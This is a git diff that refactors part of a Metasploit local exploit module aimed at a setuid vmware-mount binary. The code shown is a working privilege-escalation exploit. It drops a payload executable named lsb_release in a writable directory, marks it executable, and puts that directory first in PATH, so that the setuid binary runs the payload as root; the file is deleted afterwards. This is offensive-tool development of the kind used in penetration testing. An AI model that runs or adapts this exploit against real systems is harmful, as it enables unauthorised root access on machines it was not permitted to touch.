Suggestions from OJ
parent
25ecf73d7d
commit
985838e999
|
@ -54,7 +54,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
}
|
||||
))
|
||||
register_options([
|
||||
OptString.new("WritableDir", [ true, "A directory where you can write files.", "/tmp" ]),
|
||||
OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -71,13 +71,14 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
|
||||
end
|
||||
|
||||
path = "#{datastore["WritableDir"]}"
|
||||
write_file("#{path}/lsb_release", generate_payload_exe)
|
||||
cmd_exec("chmod +x #{path}/lsb_release")
|
||||
cmd_exec("PATH=#{path}:$PATH /usr/bin/vmware-mount")
|
||||
lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release')
|
||||
write_file(lsb_path, generate_payload_exe)
|
||||
cmd_exec("chmod +x #{lsb_path}")
|
||||
cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount")
|
||||
# Delete it here instead of using FileDropper because the original
|
||||
# session can clean it up
|
||||
cmd_exec("rm -f #{path}/lsb_release")
|
||||
cmd_exec("rm -f #{lsb_path}")
|
||||
|
||||
end
|
||||
|
||||
def setuid?(remote_file)
|
||||
|
|
Loading…
Reference in New Issue